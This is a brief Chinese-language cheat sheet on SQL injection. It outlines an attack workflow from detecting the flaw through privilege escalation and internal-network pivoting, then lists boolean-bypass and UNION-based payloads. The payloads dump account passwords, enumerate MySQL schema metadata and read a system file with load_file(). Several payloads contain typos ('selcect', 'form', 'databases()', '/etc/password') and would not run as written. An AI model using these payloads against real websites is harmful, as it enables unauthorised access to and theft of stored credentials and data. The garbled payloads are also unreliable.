数据操作
插入:
查询:
删除:
注入流程
- 判断是否有 SQL 注入漏洞;
- 判断操作系统和数据库类型;
- 获取数据库信息;
- 加密信息破解;
- 提升权限;
- 内网渗透;
手动注入
布尔注入
闭合 SQL 语句,构造 or
和 and
逻辑语句、注释多余的代码;
or 1=1 --
注释后有空格;admin' and 1=1 -- '
查询指定账号的密码;admin' or 1=1 -- '
查询所有账号密码;
union
- 前后查询的项数和顺序要一样;
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;
复制代码
'union select 1,2 -- ' | 'union select 1,2,3 -- '
先测试查询有几项;
查询数据库
'union select 1,table_name from INFORMATION_SCHEMA.tables -- '
'union select version(),database() from INFORMATION_SCHEMA.tables -- '
'union selcect user(),databases() form INFORMATION_SCHEMA.tables -- '
'union select load_file('/etc/password'),database() from INFORMATION_SCHEMA.tables -- '
'union select load_file('2f6...264'),database() from INFORMATION_SCHEMA.tables -- '
16进制;information_schema
数据库是 MYSQL 自带的,提供了访问数据库元数据的方式。元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。
查询数据表
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'USER_PRIVILEGES' -- '
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'users'